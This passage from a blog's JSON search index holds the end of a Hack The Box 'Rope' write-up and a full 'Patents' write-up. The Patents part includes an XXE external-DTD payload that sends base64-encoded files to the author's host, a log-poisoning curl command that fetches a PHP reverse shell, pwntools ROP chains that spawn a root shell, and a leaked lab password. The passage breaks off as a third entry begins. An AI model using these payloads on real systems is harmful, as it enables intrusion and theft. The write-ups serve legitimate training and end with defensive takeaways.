oldfd, int newfd); The newfd will be a copy of oldfd and both of them can be used interchangeably.\nSo, we need to call dup2 3 times, then system(\u0026quot;/bin/sh\u0026quot;). With pwntools, we construct the ROP chain as follows:\n1 2 3 4 5 rop = ROP(libc) rop.dup2(SOCKFD, 0) # STDIN rop.dup2(SOCKFD, 1) # STDOUT rop.dup2(SOCKFD, 2) # STDERR rop.system(next(libc.search(\u0026#34;/bin/sh\u0026#34;))) Then construct our payload and send it as for the Libc leak. This works well and we get a shell locally.\nRemote Exploitation w/ randomization The code is quite ready to work with ASLR enabled to attack the remote server. The only unknown value at this point is the remote binary base address as PIE is enabled.\nI was not able (or good enough) to leak it remotely but we still have local access to the box. We cannot read the /proc/$pid/maps file this time as the service runs as root but we remember that the user r4j is part of the adm group. Let’s search for the files he can read:\nadm group files The kern.log file is interesting as this is where the kernel logs crash information like segmentation faults. Let’s check if we get valuable information from it, but first, we need to make a child process crash once. To do so, we only need to brute-force the canary and send garbage afterward.\nWe kill our local contact instance and expose the remote service with an SSH port forwarding:\nssh -L 1337:localhost:1337 -i rope_rsa john@10.10.10.148 Then we run our canary brute force script as-is. It still points to localhost:1337 which will be now forwarded to the remote box. This takes around 10 minutes as the server still responds slowly.\nThen we can re-use the second Python code a few times with dummy long strings after the canary value to get a segfault:\nIn the kern.log file we can read:\n/var/log/kern.log The addresses in red are addresses of the binary where the segfault happened. If I am not mistaken, binary base addresses are always multiple of 0x1000. So we can start from one of the values in red, and decrease the base address by 0x1000 until we get the Libc leak and therefore, a system shell:\nexploit and root flag This is the full exploit code:\n Conclusion What an incredible and challenging box made by R4J!! It is currently in my Top 3 boxes along with Patents (read my write-up) and PlayerTwo (my write-up)!\nSome takeaways of this pentest:\n use open source tools that are still maintained and that are backed by a strong community, review regularly world-writable files on your system, learn about C/C++ potential weaknesses. You can start with CWE here and here. Resources [1] Ghidra\nhttps://ghidra-sre.org/\n[2] pwndbg\nhttps://github.com/pwndbg/pwndbg\n[3] tiny-web-server\nhttps://github.com/shenfeng/tiny-web-server\n[4] tiny-web-server buffer overflow\nhttps://surfingthecyber.com/2017/11/10/tiny-web-server-buffer-overflow-discovery-and-poc.html\n[5] Format String vulnerability basics\nhttps://www.youtube.com/watch?v=0WvrSfcdq1I\nhttps://www.youtube.com/watch?v=t1LH9D5cuK4\nhttps://www.youtube.com/watch?v=MBz5C9Wa6KM\nhttps://www.youtube.com/watch?v=xAdjDEwENCQ\nhttp://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html\nhttps://n00bsec.github.io/update/post/exploitation/reverse-engineering/stringformat/2017/09/28/LearningFormatStringsWithLestrade.html\n[6] GOT and PLT for pwning\nhttps://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html\n[7] Linux process information pseudo-filesystem\nhttp://man7.org/linux/man-pages/man5/proc.5.html\nhttps://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/proc.html\n[8] Stack Buffer Overflows explained\nhttps://www.youtube.com/watch?v=1S0aBV-Waeo\n[9] Stack Canary bypass\nhttps://bananamafia.dev/post/binary-canary-bruteforce/\nhttps://ctf101.org/binary-exploitation/stack-canaries/\n[10] ROP VIDEOs\nhttps://www.youtube.com/watch?v=XZa0Yu6i_ew\nhttps://www.youtube.com/watch?v=CbW5TYmWQNU\nhttps://www.youtube.com/watch?v=ruJXvxXzyU8\n[11] AMD64 Calling Conventions for Linux / Mac OSX\nhttps://courses.cs.washington.edu/courses/cse378/10au/sections/Section1_recap.pdf\n[12] ROPgadget\nhttps://github.com/JonathanSalwan/ROPgadget\n[13] Weaknesses in Software Written in C \u0026amp; C++\nhttps://cwe.mitre.org/data/definitions/658.html\nhttps://cwe.mitre.org/data/definitions/659.html\n","description":"OS: Linux | Level: Insane | Creators: R4J | Released: August 3rd, 2019 | Retired: May 23rd, 2020 | Difficulty: 7.9/10 | Appreciation: 4.6/5","id":11,"tag":"arbitrary_file_read ; fmtstr ; selfmaps ; bof ; canary ; rop ; ret2libc ; kern.log","title":"Hack The Box :: Rope","type":"posts","url":"https://noobintheshell.com/posts/htb_rope/"},{"content":" Patents is a Hard Linux box created by gbyolo. It was released on January 18th, 2020 and was retired on May 16th, 2020. The users rated the difficulty 7.8/10 and gave an overall score of 4/5 to the box.\nPatents Info Card TL;DR We have access to a website that manages patents. The main feature is a file upload to convert DOCX to PDF. We find a hidden release note that mentions that entity parsing is enabled in DOCX custom folders. So we build a DOCX with a custom XML part and inject an XXE payload to exfiltrate files. The content of config.php leaks a hidden PHP file getPatent_alphav1.0.php that can be used to read the patent’s content. It is vulnerable to LFI and by injecting the access.log with PHP code we achieve RCE and get a reverse shell as www-data. We end up in a docker container where a checker cronjob is running each minute. We use pspy to see what command is triggered. The command leaks the root password and we grab the user flag. In the container, we find the .git folder of the lfmserver that runs on port 8888. We reconstruct the source code from it and retrieve the binary. The binary is vulnerable to a Stack BOF, we exploit it to get a reverse shell as root. A partition is mounted on top of the /root folder. We unmount it to grab the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.173\n PORT STATE  SERVICE VERSION 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8888/tcp  open sun-answerbook?  We discover:\n the usual OpenSSH and Apache2 server, a service running on port 8888 and it is not a website. Web Discovery We get access to a patent management website and we are logged in as Ajeje Brazorf, an admin:\nwebsite landing page The user profile menu does not seem to work properly but we can access it at /profile.html. We access the CV of the admin. We should be able to send him a message but the link to /chat.html is broken:\nuser profile We can access /edit-profile.html to edit the admin profile but all links are dead.\nThe main feature though is the upload of patents in DOCX format that will be converted to PDF at /upload.html:\npatent upload feature The Generate pdf button calls convert.php. In the source code, a comment leaks what seems to be the old versions of the upload page: \u0026lt;!-- upload.php --\u0026gt;. This page calls as well convert.php but contains some more comments:\nupload.php page source If we upload a DOCX file, we get a link to download the PDF version. The link looks like a SHA256 hash:\nhttp://10.10.10.173/output/ca7b9eb7c591bd3bd2d0a6cf37c0dbf899dbdfe87d080642966aa3b02e855b67.pdf The hash is not the original filename hash and if we upload twice the same file, we get 2 different hashes. It must be time-based. The result is the same whether we use upload.html or upload.php. The only difference is that upload.php sets a MAX_FILE_SIZE.\nNow that we have reviewed the functionalities, let’s run a few tools. First, a file/folder discovery scan with wfuzz:\n$ wfuzz -w wordlist/big.txt --hc=404,500 http://10.10.10.173/FUZZ\n 000001969:  200  340 L  770 W  12548 Ch \u0026ldquo;index\u0026rdquo; 000002763: 301 9 L 28 W 313 Ch \u0026ldquo;output\u0026rdquo; 000002813: 301 9 L 28 W 314 Ch \u0026ldquo;patents\u0026rdquo; 000003017: 200 437 L 986 W 16064 Ch  \u0026ldquo;profile\u0026rdquo; 000003166: 301 9 L 28 W 314 Ch \u0026ldquo;release\u0026rdquo; 000003575: 301 9 L 28 W 313 Ch \u0026ldquo;static\u0026rdquo; 000003930: 200 120 L 353 W 5528 Ch \u0026ldquo;upload\u0026rdquo; 000003932: 301 9 L 28 W 314 Ch \u0026ldquo;uploads\u0026rdquo; 000003975: 301 9 L 28 W 313 Ch \u0026ldquo;vendor\u0026rdquo; We get some interesting folders. The same search for PHP files discovers only config.php and upload.php that we already know. A discovery of the patents folder finds the description of the patents we see on the landing page. They go from /patents/1 to /patents5:\npatent 1 description A nikto scan discovers a hidden .DS_Store file in the root folder. This is a macOS hidden file that is created in each folder accessed by the Finder application (equivalent to the Windows explorer). It stores custom attributes of a folder, and may contain the list of files contained in the folder. We can parse its content with an online .DS_Store Parser:\nhttps://labs.internetwache.org/ds_store/ Nothing new!\nThe only attack surface we have at this point is the upload feature.\nPort 8888 We can try to access it with nc but whatever we enter, we always get the same error message:\nservice on port 8888 We may need to find more information about the protocol to use.\nGaining Access We first tried to abuse the upload feature to upload PHP files but had no success. Then we thought to abuse some properties of the allowed file type. The DOCX file format is based on the Office Open XML file format. It is, in fact, a ZIP archive that contains a bunch of XML files, among others. Who says XML, says potential XML External Entity (XXE) attack.\nWe created a sample DOCX file on a Windows box, unzipped it, added our XXE payload to all the available XML files and zipped again the whole content. We used the following payload:\n1 2 3 \u0026lt;!DOCTYPE foo [\u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY home SYSTEM \u0026#34;http://10.10.14.94\u0026#34; \u0026gt;]\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;home;\u0026lt;/foo\u0026gt; But got not hit. Then we tried to read a local file, thinking that it would maybe be included in the generated PDF file. The payload became:\n1 2 \u0026lt;!DOCTYPE foo [\u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY file SYSTEM \u0026#34;file:///etc/passwd\u0026#34; \u0026gt;]\u0026gt; and we inserted a \u0026lt;foo\u0026gt;\u0026amp;file\u0026lt;/foo\u0026gt; in document.xml in place of some existing document text:\ndocument.xml But this ended up with the following error message:\nconversion error This leaks that LibreOffice is used for the conversion but no known exploit could be found for our use case.\nWe tried many other payload variations without success. In the process, we found Docem, a tool to automate the embedding of XXE and XSS payloads in XML-based office files.\nBack to enumeration! After fuzzing all known locations with a bigger dictionary, we found out some release notes in /release/UpdateDetails.txt that point us to the next step…and we were not that far:\nUpdateDetails.txt So XXE was right, but only in a “custom” folder. It happens that DOCX files support custom XML parts. Such XML file is stored in a folder called customXml and this is probably where we will be able to exploit an XXE vulnerability. Let’s create a new DOCX sample with this custom folder. We can follow the procedure described in this post. Our new sample will contain these additional files and folders:\n/customXml\n\u0026ndash; _rels\n\u0026ndash; item1.xml.rels\n\u0026ndash; item1.xml\n\u0026ndash; itemProps1.xml Let’s replace the content of item1.xml with our previous payload, zip and fire:\n1 2 3 4 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [\u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY home SYSTEM \u0026#34;http://10.10.14.94\u0026#34; \u0026gt;]\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;home;\u0026lt;/foo\u0026gt; This time we have a call home!! Now, we cannot output file content on the server, but we can exfiltrate them through HTTP. This is achieved with external DTD and external Parameter Entities (PE). The payload will become:\n1 2 3 4 5 6 7 \u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE reset [\u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY % get SYSTEM \u0026#34;http://10.10.14.94/evil.xml\u0026#34;\u0026gt; %get; %eval; %exfil; ]\u0026gt; \u0026lt;foo\u0026gt;\u0026amp;home;\u0026lt;/foo\u0026gt; This will fetch an external DTD evil.xml on our box that will contain the PEs %eval and %exfil. Once the file fetched, the entities fill be expanded and evaluated. Our evil.xml file contains:\n1 2 3 \u0026lt;!ENTITY % file SYSTEM \u0026#34;php://filter/read=convert.base64-encode/resource=**file:///etc/passwd**\u0026#34;\u0026gt; \u0026lt;!ENTITY % eval \u0026#34;\u0026lt;!ENTITY \u0026amp;#x25; exfil SYSTEM \u0026#39;http://10.10.14.94/?%file;\u0026#39;\u0026gt;\u0026#34;\u0026gt; So what this will do is base64-encode the file we want to exfiltrate and send it through HTTP, to our listening box, as part of the URI. The result is:\nfile exfiltration If we decode the URI, we get:\n/etc/passwd We can simply change our evil.xml file locally to read any file on the server, no need to modify our DOCX file anymore. In order to retrieve the web server files, we first need to know where the Document Root is located and in this case, the files are not in the default location /var/www/html. We can try our chance with the Apache configuration and read /etc/apache2/sites-enabled/000-default.conf. This results in getting what we were looking for:\n\u0026lt;Directory /var/www/html/docx2pdf/\u0026gt; We could have guessed it :)\nWe saw earlier mention of a config.php file in a page comment. Let’s retrieve it:\n1 2 3 4 5 6 7 \u0026lt;?php # needed by convert.php $uploadir = \u0026#39;letsgo/\u0026#39;; # needed by getPatent.php # gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it\u0026#39;s vulnerable define(\u0026#39;PATENTS_DIR\u0026#39;, \u0026#39;/patents/\u0026#39;); ?\u0026gt; Another file…another vulnerability…however, we cannot retrieve it with the XXE. When we browse it, we have the following message:\ngetPatent_alphav1.0.php So it seems that we can read patents with getPatent_alphav1.0.php?id=1. We see the same content found earlier in /patents/1. As the variable is not only an ID but as well a filename, let’s try to read other files. The usual ../ is filtered, however, ..././ works! The filtering is done on 1 level only:\nLocal File Inclusion (LFI) Now, how can we achieve Remote Code Execution (RCE) with that? There is a place where we can actually write content and read it with the LFI. If PHP is interpreted, we have RCE. Whenever we do a request, it is logged in the Apache access.log which is found by default in /var/log/apache2/access.log:\naccess.log We have a few fields that we can try to inject. First, the URI. If we execute the following cURL command:\n$ curl \u0026ldquo;http://10.10.10.173/\u0026lt;?php echo('---RCE---');?\u0026gt;\u0026rdquo; We get code execution:\nRemote Code Execution Then I tried multiple reverse shells without success. Most of the time the log file gets broken and a reboot is necessary. It seems that spaces in the system call are one of the reasons, this can be resolved by replacing spaces with ${IFS}. nc and wget do not seem to be installed as I get no call home. However, cURL is installed and we can use it to download a PHP reverse shell. We will be using the one from Pentestmonkey. We configure it with the IP and port of our Netcat listener, start an HTTP server and inject the log file with:\n$ curl \u0026ldquo;http://10.10.10.173/\u0026lt;?php system(\u0026lsquo;curl\\$\\{IFS\\}-O\\$\\{IFS\\}http://10.10.14.94/rs.php\u0026rsquo;);?\u0026gt;\u0026rdquo; We browse the access.log once again to execute the system call and upload our reverse shell. Then we start out Netcat listener and browse http://10.10.10.173/rs.php to get a shell as www-data:\nreverse shell Local Reconnaissance \u0026amp; Enumeration First thing to do is to upgrade our shell to a full interactive TTY.\nThe presence of the file /.dockerenv shows that we are in a Docker container. The user flag is in /home/gbyolo but only root can read it. So we need to elevate our privileges first.\nWe start the enumeration with LinEnum.sh that we upload with cURL like we did for the PHP reverse shell:\n$ curl -O http://10.10.14.94/LinEnum.sh\n$ chmod +x LinEnum.sh\n$ ./LinEnum.sh \u0026gt; out The only thing that stands out is a cronjob called checker:\ncron jobs Privilege Escalation Root Escalation I We can use pspy to monitor the processes and see if we can find out what is triggered when this job is started. We upload the binary on the server and fire it. After a few seconds we get our information:\npspy We get a password !gby0l0r0ck$$! used to access a service on 10.100.0.1 and port 8888. The username used is lfmserver_user.This may be the same service that is running on the port 8888 of the box and that was returning an error message LFM 400 BAD REQUEST. The /opt/checker_client can only be accessed by root.\nHowever, the password that we found happens to be the root password. So we can simply su and get the user flag:\nuser flag Container Reconnaissance \u0026amp; Enumeration We now have access to the /opt/checker_client folder in the container. It contains the cronjob config, checker.py and run_file.sh. The bash script is the one triggered by the cronjob and is quite simple:\n It calls checker.py to query a service on a remote box with the convert.php file as argument. The Python script returns if the file has been modified or if it is genuine. If it has been modified, convert.php is restored with a fresh version coming from the remote server.\nThe Python script, uses a custom protocol to connect to the remote service:\n It first calculates the MD5 hash of the local convert.php file then sends a CHECK command along with the filename, crendentials and the MD5 hash\nWe can imagine that on the server side, the hash is compared with the hash of the remote convert.php. If the hash is the same, the server sends an LFM 200 OK, if the file does not exist, it returns a 404 message, if the file exists and the hash is not the same, a GET command is sent to get a fresh copy of the remote file.\nWe can confirm that the same service is running on the box port 8888:\nLFM server query Seems like the same credentials are used in this instance.\nWe tried to fuzz the parameters with very long strings to try to crash the service or having other errors returned to us and we tried as well some directory traversal payloads as well as trying to discover hidden files…all without success.\nWe searched for other files in the container with keywords like lfm and found out a .git folder in /usr/src/lfm. This folder contains all the necessary information to reconstruct the source code! Let’s copy it to our box by creating an archive and copying it to the webserver files so we can easily download it:\n# tar cf lfm.tar .git/\n# cp lfm.tar /var/www/html/docx2pdf/ On our box, we decompress the archive and start by listing the commits and comments with git reflog show:\ngit reflog show We see some interesting commits. We can return back in time at any commit point with git reset. For instance, if we want to retrieve the last executable and README, we do:\n$ git reset HEAD@{1}\n$ git checkout . We get the server binary, stripped:\nproduction binary The README file shows the Libc version that is used:\n[\u0026hellip;]\nNB: lfmserver was compiled against:\n- libc6: 2.28-0ubuntu1\n- libssl1.1: 1.1.1-1ubuntu2.1\n Let’s retrieve now the testing binary:\n$ git reset HEAD@{9}\n$ git checkout . We guessed it right, this binary is not stripped which may help in static and dynamic analysis:\ntesting binary Last but not least, let’s retrieve the source code:\n$ git reset HEAD@{11}\n$ git checkout .\nlfmserver source code \nEven if we got the source code, we can’t be 100% sure that it is the same code shipped in production as some commit comments refer to the final code being moved to SVN.\nThe README file contains now the description and the usage of the tool:\nThis is an implementation of the Lightweight File Manager LFM Protocol. It\u0026rsquo;s a pre-fork and pre-thread server, which supports re-forking and re-threading when the number of child processes of threads goes below a threshold.\nIt\u0026rsquo;s similar to HTTP, and supports the following methods:\n GET /object LFM [\\r\\n] User=user [\\r\\n] Password=password [\\r\\n] [\\r\\n]     CHECK /object LFM  [\\r\\n] User=user [\\r\\n] Password=password [\\r\\n] [\\r\\n] md5_of_the_file [\\r\\n] [\\r\\n]     PUT /object LFM [\\r\\n] User=user [\\r\\n] Password=password [\\r\\n] [\\r\\n] bytes_of_the_file     Communication is based on TCP. Default port is 5000.\nA configuration file is placed in /etc/lfmserver/lfmserver.conf, where you can configure thresholds, number of processes, number of threads, \u0026hellip;\n The PUT command may be interesting as it may be used to write anything anywhere, if we have a directory traversal vulnerability.\nRoot Escalation II Now that we have the binaries and the source code, we can start the analysis to find if there are vulnerabilities to exploit.\nWe will be using both static analysis with Ghidra and dynamic analysis on an Ubuntu 18.04.3 LTS box with pwndbg.\nStatic Analysis Let’s browse the source code and find where our input commands are handled. We find the functions in lfm.c, however, as we suspected, this is not the final code. The functions are not implemented :(\nlfm.c code snippet At least, we know the function name. Let’s open the testing binary in Ghidra and analyze those 3 functions.\nhandle_get():\nThis function checks if the file we request exists and then sends it to the client:\nhandle_get() decompiled pseudo-code handle_put():\nThis function seems similar to what we found in the source code…not implemented:\nhandle_put() decompiled pseudo-code handle_check():\nIn the first part of the function, the credentials are checked. Then, after the filename is URL-decoded (weird), access is called to check if it exists:\nhandle_check() decompiled pseudo-code — part 1 The param_config global structure contains some hardcoded configuration, including credentials:\nparam_config struct The second part of the function computes the file’s MD5 hash and compares it with the provided one:\nhandle_check() decompiled pseudo-code — part 2 url_decode():\nThis function takes the filename, a 128 bytes buffer and the length of the filename as arguments as seen in the handle_check pseudo decompiled code:\nurl_decode() decompiled pseudo-code If the filename length is bigger than 128 bytes, we end up with a Stack Buffer Overflow. There is no bound check.\nIf you want to understand the theory behind Stack BOF, you can watch this great Youtube video. By looking at the rest of the code, we find another vulnerability. A check for directory traversals is done in the parse_object function in lfm.c. It parses the filename that we request before calling one of the handler functions above:\nparse_object() code If the filename is / or contains .., the filename is set to NULL. This could work well, if there was no URL-decoding function available! If we call the CHECK command with /%2e%2e/%2e%2e/%2e%2e/etc/passwd we get:\ndirectory traversal However, this is only useful to determine if a file exists on the server or not.\nSome more information that we can extract from the source code:\n the files that are accessible are store in a folder called files in the same folder as the binary, the binary loads a configuration file from /etc/lfmserver/lfmserver.conf, the binary writes logs in lfmserver.log, the number of forked children listeners defaults to 4 and can be changed in the config file. Dynamic Analysis Let’s move to an Ubuntu box and see what are the security flags used to compile the binary:\nchecksec There are 2 protections:\n Partial RELRO sets the .got section as read-only, however, the section .got.plt (PLT-dependent GOT) stays writable. You can find here a good explanation of those different binary sections, NX sets the stack as non-executable. Let’s test the binary (we will be using the one with debug symbols). First, we need to copy the configuration file in /etc/lfmserver/lfmserver.conf. We can as well set NumberOfChildren to 1 to facilitate debugging. The second thing that will be useful, is to monitor the changes in the log file. To do so, we can run this command in a separate terminal:\n$ tail -f lfmserver.log However, the testing version throws some error due to missing libraries, or wrong versions of libssl and libcrypto. The production binary just launches fine…so let’s stick to it.\nAs soon as we launch the service, the log file shows 2 useful information, the file descriptor used by the parent process and the child process ID that we will use to attach our debugger:\nlfmserver.log — 1 As we know the vulnerability lies in the CHECK command filename parameter, let’s try to crash the child process by sending the following request in Python:\n$ python3 -c \u0026lsquo;print(CHECK /\u0026quot;+ \u0026lsquo;A\u0026rsquo;*200 +\u0026quot; LFM\\r\\nUser=lfmserver_user\\r\\nPassword=!gby0l0r0ck$$!\\r\\n\\r\\n11111\\r\\n\\r\\n\u0026quot;)\u0026rsquo; | nc localhost 8888 And we can see that the child process crashed in the logs and a new one was spawned:\nlfmserver.log — 2 We attach our debugger to this new PID to see what is happening and to find the right offset for our payload:\n$ sudo gdb -p 10585 The binary is stripped so we can’t set breakpoints by using symbols. As PIE is disabled, the binary base address is always the same 0x400000. We can look in Ghidra the address of the url_decode call to set our breakpoint and resume the process:\npwndbg\u0026gt; b *0x403b8d\npwndbg\u0026gt; continue Then we execute our payload. It is the same as the previous one but we have replaced the filename with the cyclic function of pwntools which will help get the right offset:\n$ python3 -c \u0026lsquo;from pwn import *; print(\u0026ldquo;CHECK /\u0026quot;+ cyclic(200).decode() +\u0026rdquo; LFM\\r\\nUser=lfmserver_user\\r\\nPassword=!gby0l0r0ck$$!\\r\\n\\r\\n11111\\r\\n\\r\\n\u0026quot;)\u0026rsquo; | nc localhost 8888 What we can see is that our buffer does not overwrite the return address of url_decode(). As the buffer is a local variable of the caller function handle_check(), it is its return address that is overwritten with our payload. So we need to wait for a second return:\nstack buffer overflow When the call to access is done, if the file does not exist, the function returns. So if we continue to trace the binary, the check fails, there is a call to system_log then send_404. Finally, right before the return, there is a call to RAX=0x4054aa which is in fact pthread_fatal_error. Whatever happens in this function, it always exits the app and our payload is never called:\npthread_fatal_error() decompiled pseudo-code In Ghidra, the handle_check function, pthread_fatal_error appears as fileManager_error:\nhandle_check() snippet fileManager_error is, in fact, a pointer to pthread_fatal_error that is set during the child process initialization in process.c:\nprocess.c code snippet lfm.c code snippet Back to exploitation. The access check must pass, therefore, we have to CHECK for an existing file. Let’s create a files folder with a dummy file and retry. There is one more tricky part, for the filename to be parsed correctly, it must be followed by a space…but this will kill the attack. But url_decode saves us one more time: it will copy our whole payload in the buffer and can resolve %00 to a null byte, so access will see the following string and stop after the null byte which will pass the check:\n/dummy\\x00AAAAAAAAA\u0026hellip; Let’s try again with this payload:\n$ python3 -c \u0026lsquo;from pwn import *; print(\u0026ldquo;CHECK /dummy%00\u0026quot;+ cyclic(200).decode() +\u0026rdquo; LFM\\r\\nUser=lfmserver_user\\r\\nPassword=!gby0l0r0ck$$!\\r\\n\\r\\n11111\\r\\n\\r\\n\u0026quot;)\u0026rsquo; | nc localhost 8888 The check passes as expected:\nfile access check success We continue to trace, md5sum is called, then strcmp compares our hash 11111 to the calculated one, which fails and the message LFM 406 MD5 NOT MATCH is sent to the client. When the function returns we jump to our payload:\nreturn offset We can now calculate the payload offset to control the return address:\n$ cyclic -l \u0026ldquo;aboa\u0026rdquo;\n154 So what’s next? We cannot return-to-shellcode as the stack is non-executable (NX). We could return-to-libc to execute a system('/bin/sh') call but we need to first leak a Libc address as ASLR randomizes its address. Moreover, to interact with a shell in our configuration we need to redirect I/Os through the file descriptor used by the binary. Fortunately, they are static and the file descriptor of the parent is given when we launch the binary: fd=5. We can imagine that the file descriptor of the child process is the next available one: fd=6.\nWe could use the available write function to leak a Libc address through the GOT. We could get for instance the pointer to read. As PIE is disable, the call to write will always be at the same address.\nThe whole exploit will involve using a Return Oriented Programming (ROP) chain twice. One to leak the Libc address and another one for the return-to-libc:\n[ \u0026ldquo;/dummy%00\u0026rdquo; | \u0026lsquo;A\u0026rsquo;*154 | ROP_libc_leak ]\n[ \u0026ldquo;/dummy%00\u0026rdquo; | \u0026lsquo;A\u0026rsquo;*154 | ROP_system_shell ] I won’t go into the theory of Return Oriented Programming here. You can find some resources in [13] if needed. Exploitation Libc leak:\nWe will be calling write to leak a Libc address. The call should look like:\nwrite(SOCKFD, got.read, 8) where SOCKFD is the file descriptor used by the child process (6), got.read is the address of read in the GOT, and 8 is the number of bytes we want to write. As per x86–64 calling convention, the first parameter is passed through the RDI register, the second through RSI and the 3rd through RDX. Therefore, in order to build our ROP chain, we need to find 3 gadgets to pop those values in the right registers. The chain will look like:\npop rdi; ret\nSOCKFD\npop rsi; ret\ngot.read\npop rdx; ret\nwrite.plt Let’s get all those offsets. To search for the ROP gadgets in the binary, we can use ROPgadget:\nROPgadget We find 2 out of the 3 gadgets we need. We can do without it, but we will have no control on the 3rd variable. As long as it is an integer greater than 8, we will be fine. We will check that later.\nWe have not found a pop rsi; ret gadget, instead, we got a pop rsi; pop r15; ret which means that we need to add a dummy 8 bytes value that will be popped in the r15 register…but it will not be used. In the end, the ROP chain will be:\npop rdi; ret\nSOCKFD\npop rsi; pop r15; ret\ngot.read\n\u0026ldquo;dummydum\u0026rdquo;\nwrite.plt We still miss the write.plt address that we can get like this:\nwrite@plt Once we leak the address of read, we subtract its offset in the Libc to get the Libc base address. Finally, as the payload cannot contain null bytes or spaces, we URL-encode them if any.\nDuring the testing of this first part, we saw that:\n the random 3rd argument of write was 0x17 which is totally fine, we will parse the output to retrieve the address, read was not a good choice as it was resolving in libpthread instead of the Libc. Therefore, we used fgets. This is the code of this first part:\n The output is:\nlibc leak system shell:\nWe will construct this ROP chain differently, by using pwntools magic. The important thing here is to first redirect stdin, stdout and stderr though the child process file descriptor so we can interact with the shell. This can be easily achieved with the dup2 function. This function takes 2 file descriptors as arguments:\nint dup2(int oldfd, int newfd); The newfd will be a copy of oldfd and both of them can be used interchangeably.\nSo, we need to call dup2 3 times, then system(\u0026quot;/bin/sh\u0026quot;). With pwntools, we construct the ROP chain as follows:\n1 2 3 4 5 rop = ROP(libc) rop.dup2(SOCKFD, 0) # STDIN rop.dup2(SOCKFD, 1) # STDOUT rop.dup2(SOCKFD, 2) # STDERR rop.system(next(libc.search(\u0026#34;/bin/sh\u0026#34;))) Then we simply add str(rop) to our payload and encode spaces and null bytes as done with the first ROP chain! This works well and we get a shell locally. However, there are 2 things that we need to change to attack the server:\n the dummy file does not exist there. We can replace it with convert.php and adjust the payload offset accordingly (from 156 to 148), the libc version we use locally is 2.27 and the server’s one is 2.28. We can download the server version here. We launch our exploit and get a shell as root…but it lasts only a few seconds:\nremote system shell For more stability, we can spawn a Netcat listener and trig a reverse shell on the server. The full exploit is:\n Mmhhh…but no flag to be seen!\nRoot Flag The flag is usually in the /root folder. Let’s first upgrade the shell to a full interactive TTY.\nWe first searched for the root.txt file in the whole box without success. Then, as the box is running Docker, we looked for running containers and downloaded images. There is one running container that we already visited and that is using the docx2pdf image. And there is an additional image ubuntu. We ran it in a container and attached to it:\n# docker run -it ubuntu:18.04 bash But nothing inside as well. After some more enumeration, we found out that /root was a mount point:\nmount We unmounted it with umount /root and got the root flag!\nroot flag Conclusion That was a hell of a box!! At the moment, the most enjoyable and challenging one I did. It could easily be upgraded to Insane difficulty in my opinion. It goes through so many types of vulnerabilities! The last bit to find the root flag, however, was not necessary and too CTFy.\nThanks gbyolo for the ride!\nHere are some takeaways for this pentest:\n disable DTDs (External Entities) completely in your XML parser, some guidance here, perform strict input validation against directory traversal and LFI, make sure your webserver is configured to not process text/image/… files as code, learn about C/C++ potential weaknesses. You can start with CWE here and here. Resources [1] Online .DS_Store Parser\nhttps://labs.internetwache.org/ds_store/\n[2] DOCX file format\nhttps://wiki.fileformat.com/word-processing/docx/\n[3] XML External Entity attack_\n_h_ttps://owasp.org/www-community/vulnerabilities/XML_External_Entity(XXE)_Processing\nhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection\n[4] Docem\nhttps://github.com/whitel1st/docem\n[5] Custom XML parts\nhttps://docs.microsoft.com/en-us/visualstudio/vsto/custom-xml-parts-overview?view=vs-2019\nhttps://blogs.sap.com/2017/04/24/openxml-in-word-processing-custom-xml-part-mapping-flat-data/\n[6] Pentestmonkey PHP reverse shell\nhttps://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php\n[7] Upgrading from netcat with magic\nhttps://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/#method-3-upgrading-from-netcat-with-magic\n[8] pspy\nhttps://github.com/DominicBreuker/pspy\n[9] Ghidra\nhttps://ghidra-sre.org/\n[10] pwndbg\nhttps://github.com/pwndbg/pwndbg\n[11] Stack Buffer Overflows explained\nhttps://www.youtube.com/watch?v=1S0aBV-Waeo\n[12] GOT and PLT for pwning\nhttps://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html\n[13] pwntools - cyclic\nhttps://docs.pwntools.com/en/stable/util/cyclic.html\n[14] ROP VIDEOs TO CHECK!\nhttps://www.youtube.com/watch?v=XZa0Yu6i_ew\nhttps://www.youtube.com/watch?v=CbW5TYmWQNU\nhttps://www.youtube.com/watch?v=ruJXvxXzyU8\n[15] dup2()\nhttps://linux.die.net/man/2/dup2\n[16] pwntools - ROP\nhttps://docs.pwntools.com/en/stable/rop/rop.html\n[17] libc6_2.28-0ubuntu1_amd64\nhttps://libc.blukat.me/?q=_rtld_global%3A0\u0026amp;l=libc6_2.28-0ubuntu1_amd64\n[18] XXE cheat sheet\nhttps://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html\n[19] Weaknesses in Software Written in C \u0026amp; C++\nhttps://cwe.mitre.org/data/definitions/658.html\nhttps://cwe.mitre.org/data/definitions/659.html\n","description":"OS: Linux | Level: Hard | Creators: gbyolo | Released: January 18th, 2020 | Retired: May 16th, 2020 | Difficulty: 7.8/10 | Appreciation: 4/5","id":12,"tag":"docx ; xxe ; lfi ; rce ; pwn ; bof ; rop ; ret2libc","title":"Hack The Box :: Patents","type":"posts","url":"https://noobintheshell.com/posts/htb_patents/"},{"content":" Obscurity is a Medium Linux box created by clubby789. It was released on 